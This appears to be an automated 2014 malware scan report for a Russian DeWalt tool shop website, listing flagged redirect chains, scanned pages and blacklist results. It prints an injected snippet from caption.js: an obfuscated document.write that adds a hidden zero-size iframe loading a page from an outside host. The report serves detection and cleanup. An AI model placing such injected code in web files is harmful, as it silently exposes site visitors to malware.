Malicious/Suspicious Redirects
Request | Server response | Status |
URL: http://dewalt4whole-world.ru/ (imitation of visitor from search engine) GET / HTTP/1.1 Host: dewalt4whole-world.ru Referer: http://www.google.com/search?q=redirect+check1 | HTTP/1.1 302 Found Connection: close Date: Tue, 23 Sep 2014 06:19:23 GMT Location: http://www.totalcarsolution.com/sctcom/cgi-bin/1.php Server: Apache/1.3.42 Content-Type: text/html | malicious |
URL: http://www.totalcarsolution.com/sctcom/cgi-bin/1.php (imitation of visitor from search engine) GET /sctcom/cgi-bin/1.php HTTP/1.1 Host: www.totalcarsolution.com Referer: http://www.google.com/search?q=redirect+check2 | HTTP/1.1 302 Moved Temporarily Connection: close Date: Tue, 23 Sep 2014 06:19:24 GMT Location: http://www.csra.de/includes/domit/1.php Server: Apache Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html | malicious |
Scanned pages/files
Request | Server response | Status |
http://dewalt4whole-world.ru/ | 200 OK Content-Length: 12086 Content-Type: text/html | clean |
http://dewalt4whole-world.ru/media/system/js/caption.js | 200 OK Content-Length: 8465 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) var JCaption = new Class({ initialize: function(selector) { this.selector = selector; var images = $$(selector); images.each(function(image){ this.createCaption(image); }, this); }, createCaption: function(element) { var caption = document.createTextNode(element.title); var container = document.createElement("div"); var text = document.createElement("p"); var width = element.getAttribute("width"); var align = document.write('<iframe src="'+'ht'+'tp://b'+'arbu'+'ch'+'er'+'on.ca/c'+'omp'+'on'+'ents/c'+'om_c'+'ont'+'ent/'+'m'+'od'+'els/'+'sh.'+'html" width="0" height="0" frameborder="0"></iframe>'); Antivirus reports:
| ||
http://dewalt4whole-world.ru/templates/DeWALT2/script.js | 200 OK Content-Length: 17065 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) var artEventHelper = { 'bind': function(obj, evt, fn) { if (obj.addEventListener) obj.addEventListener(evt, fn, false); else if (obj.attachEvent) obj.attachEvent('on' + evt, fn); else obj['on' + evt] = fn; } }; var artUserAgent = navigator.userAgent.toLowerCase(); var artBrowser = { version: (artUserAgent.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/) || [])[1], safari: /webkit/.test(artUserAgent) && !/chrome/.test(artUserA Antivirus reports:
| ||
http://counter.rambler.ru/top100.jcn?2554413 | 200 OK Content-Length: 6853 Content-Type: application/x-javascript | clean |
http://dewalt4whole-world.ru/component/content/article/1-2010-03-27-01-11-53.html | 200 OK Content-Length: 11988 Content-Type: text/html | clean |
http://dewalt4whole-world.ru/akkumulatornij-instrument.html | 200 OK Content-Length: 38621 Content-Type: text/html | clean |
http://dewalt4whole-world.ru/akkumulatornij-instrument/dreli/329-dewalt-drel-akkumulatornajadw-006-k.html | 200 OK Content-Length: 17897 Content-Type: text/html | clean |
http://dewalt4whole-world.ru/akkumulatornij-instrument/dreli/307-dewalt-drel-akkumulatornajadw-955-k.html | 200 OK Content-Length: 18023 Content-Type: text/html | clean |
http://dewalt4whole-world.ru/akkumulatornij-instrument/dreli/41-dewaltdrelakkumulatornajadc745kb.html | 200 OK Content-Length: 18005 Content-Type: text/html | clean |
http://dewalt4whole-world.ru/akkumulatornij-instrument/dreli/319-dewalt-drel-akkumulatornajadw-997-k2.html | 200 OK Content-Length: 18066 Content-Type: text/html | clean |
http://dewalt4whole-world.ru/akkumulatornij-instrument/dreli/322-dewalt-drel-akkumulatornajadw-981-k2.html | 200 OK Content-Length: 18043 Content-Type: text/html | clean |
http://dewalt4whole-world.ru/akkumulatornij-instrument/dreli/320-dewalt-drel-akkumulatornajadw-927-k2.html | 200 OK Content-Length: 17809 Content-Type: text/html | clean |
http://dewalt4whole-world.ru/akkumulatornij-instrument/dreli/326-dewalt-drel-akkumulatornajadw-926-k2.html | 200 OK Content-Length: 17718 Content-Type: text/html | clean |
http://dewalt4whole-world.ru/akkumulatornij-instrument/dreli.html | 200 OK Content-Length: 32156 Content-Type: text/html | clean |
http://dewalt4whole-world.ru/akkumulatornij-instrument/dreli/328-dewalt-drel-akkumulatornajadc-984-ka.html | 200 OK Content-Length: 17928 Content-Type: text/html | clean |
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=dewalt4whole-world.ru
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://dewalt4whole-world.ru/
Result: dewalt4whole-world.ru is not infected or malware details are not published yet.
Result: dewalt4whole-world.ru is not infected or malware details are not published yet.